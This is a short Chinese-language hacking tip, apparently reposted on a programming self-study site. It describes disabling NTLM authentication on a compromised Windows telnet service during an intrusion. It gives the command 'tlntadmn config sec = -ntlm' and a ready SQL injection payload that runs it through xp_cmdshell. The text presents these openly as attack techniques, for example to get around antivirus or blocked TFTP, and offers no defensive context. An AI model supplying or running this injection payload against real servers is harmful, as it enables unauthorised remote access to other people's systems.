相信大家都对telnet比较熟悉吧。hacking的时候经常用到的系统自带shell尤其是注射的时候,但是最讨厌的就是ntlm认证了,以前大家去掉ntlm的方法一般有2种。
1 上传ntml.exe 这种方法有很多缺点,比如:对方有 杀毒 软件,很多网段屏蔽了TFTP。
2 直接写入telnet的配置信息到文本中然后在用shell执行,这种办法非常麻烦。
今天我给大家介绍我一直在使用的办法,压箱底的哦。
那就是直接运行命令:
tlntadmn config sec = -ntlm
注射的话可以直接运行:
;exec master.dbo.xp_cmdshell tlntadmn config sec = -ntlm--
运行以后就去掉了ntlm认证。
查看更多关于telnet中运行命令去掉ntlm认证 - Windows操作系统 -的详细内容...
声明:本文来自网络,不代表【好得很程序员自学网】立场,转载请注明出处:http://www.haodehen.cn/did10015